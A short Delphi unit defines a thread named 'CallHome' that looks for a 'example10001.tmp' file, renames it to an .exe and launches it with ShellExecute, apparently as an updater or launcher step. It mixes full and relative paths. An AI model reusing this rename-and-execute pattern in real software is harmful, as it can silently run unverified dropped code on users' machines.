unit Thrad_CallHome;

interface

uses
  Classes,SysUtils,Windows;

type
  TThradCallHome = class(TThread)
  private
  protected
    procedure Execute; override;
  end;

implementation

uses
  Class_KzUtils,ShellAPI;

{ TThradCallHome }

procedure TThradCallHome.Execute;
begin
  //Sleep(1000);

  if FileExists(TKzUtils.ExePath+'example10001.tmp') then
  begin
    if RenameFile('example10001.tmp','example10001.exe') then
    begin
      ShellExecute(Self.Handle,'OPEN',PChar('example10001.exe'),'','',SW_NORMAL)
    end;
  end;
end;

end.
